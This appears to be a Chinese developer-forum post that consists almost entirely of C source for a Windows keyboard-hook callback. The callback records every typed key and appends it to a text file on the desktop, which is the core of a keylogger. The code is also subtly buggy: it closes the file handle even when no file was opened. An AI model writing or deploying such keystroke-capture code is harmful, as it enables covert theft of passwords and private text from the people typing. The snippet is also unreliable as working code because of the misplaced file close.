15,467
社区成员
发帖
与我相关
我的任务
分享LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
{
fl=fopen("C:\\Users\\Administrator\\Desktop\\key.txt","a+"); //输出到key.txt文件
if (wParam==VK_RETURN)
{
ch='\n';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
}
fclose(fl);
}
return CallNextHookEx( glhHook, nCode, wParam, lParam );
}